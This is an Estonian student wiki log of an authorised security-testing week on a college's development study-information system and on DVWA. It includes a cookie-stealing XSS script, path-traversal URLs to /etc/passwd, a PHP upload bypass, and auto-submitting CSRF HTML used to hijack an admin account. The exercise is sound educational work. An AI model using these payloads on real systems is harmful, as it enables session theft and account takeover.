<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlemine.

[[Media:Security_team_presentation.ppt]]

== Arvamused intensiivõppe nädala kohta ==

Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.

== Tegijad ==
Alo Konno A21

Urmo Lihten A21

Taavi Podžuks A22

Matis Alliksoo A22

Sander Saarm A22

== Juhendajad ==
Mart Mangus

Margus Ernits

Valter Kungla

Security team

2012-03-30T13:46:56Z

Mallikso: /* 1. päev - Materjalidega tutvumine */

== 1. päev - Materjalidega tutvumine ==

<h1>POOLELI!</h1>

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Meida: A9.pdf]] <br>
Taavi esitlus [[Meida: A5.pdf]] <br>
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] <br>
Matise esitlus [[Media:Security Misconfiguration.pdf]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
===Security Team tegevusplaan===
1. Päev
1.1 Tutvuda OWASP’iga.
1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
2.1 Esitada tiimi tegevusplaan.
2.2 Tutvuda turvariskidega natuke põhjalikumalt.
2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
2.4 Täiendada esimese päeva ettekannet.
3. Päev
3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
3.2 Saadud tulemuste dokumenteerimine.
4. Päev
4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
5.1 Tulemuste parandamine wiki’s.

=== Alo tegevus ===

http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://www.youtube.com/watch?v=SG1cvGQ971g
http://www.isecom.org/research.html
http://evuln.com/tools/
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.
Antud programm võimaldab skännida:
Cross-Site Scripting (XSS)
SQL Injection (blind test)
File inclusion
Code Execution
LDAP Injection
Cross Frame Scripting
SQL Injection (error msg. test)
CRLF Injection
Directory Travelsal
XPath Injection
URL Redirection
Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

===== Fireforce plugin Firefoxis =====
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse.
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.
Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

===== Burpsuite v1.4 =====
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>

=== Urmo tegevus ===
====Subgraph Vega ====
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

==== Wapiti ====
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.

==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====
=====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

=====2. katse - ÕIS'i kasutaja parooli muutmine =====

[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Taavi tegevus ===
===Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

==Nessuse algkäivitamine==
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Matise tegevus ===
==Väike upload tegevus, mis võiks olla teisiti==
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida:
<li>filmi
<li>exe
<li>jpm faile
<br>kõik läks läbi ja sai uploadida.
<br>Sellises kohas võiks olla süsteem tehtud <b>whitelisti</b> põhimõttel,
<br>et lubatud oleks ainult:
<li>.doc
<li>.docx
<li>.pdf

=== Sanderi tegevus ===
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]
Backtarcki keskkonnas sai testitud programmi w3af.

==== Backtrack: w3af ====
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

Skänneerimine:
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
